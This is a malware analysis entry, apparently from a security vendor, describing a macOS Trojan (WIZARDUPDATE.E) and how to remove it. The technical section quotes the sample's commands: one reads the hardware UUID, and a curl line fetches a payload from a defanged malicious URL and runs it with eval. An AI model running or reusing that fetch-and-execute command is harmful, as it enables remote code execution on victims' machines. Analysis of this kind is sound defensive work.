Analysis by: Jayvee Mark Villaroman
ALIASES:

MAC/Agent.E3CB!tr (FORTINET)

 PLATFORM:

MacOS

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 90,768 bytes
File Type: Mach-O
Memory Resident: No
Initial Samples Received Date: 22 Oct 2021
Payload: Collects system information, Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Other Details

This Trojan does the following:

  • The sample connects to a URL to download malware. This download routine is embedded in the cstring section of the sample written in binary format.
  • Upon decryption it shows that the sample gathers hardware information of the machine via this command:
    • ioreg -ad2 -c IOPlatformExpertDevice | xmllint –xpath '//key[.="IOPlatformUUID"]/following-sibling::*[1]/text()'
  • Then using the curl command, it connects to a URL to download a malicious file and then execute it using eval command:
    • MNZPAWE=$(curl --connect-timeout 900 -L "https[://]{BLOCKED}p[.]comhelpermodule[.]com/mnsdf?maid={{$}}");eval "$MNZPAWE"

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.654.04
FIRST VSAPI PATTERN DATE: 24 Aug 2023
VSAPI OPR PATTERN File: 18.655.00
VSAPI OPR PATTERN Date: 25 Aug 2023

Scan your computer with your Trend Micro product to delete files detected as Trojan.MacOS.WIZARDUPDATE.E. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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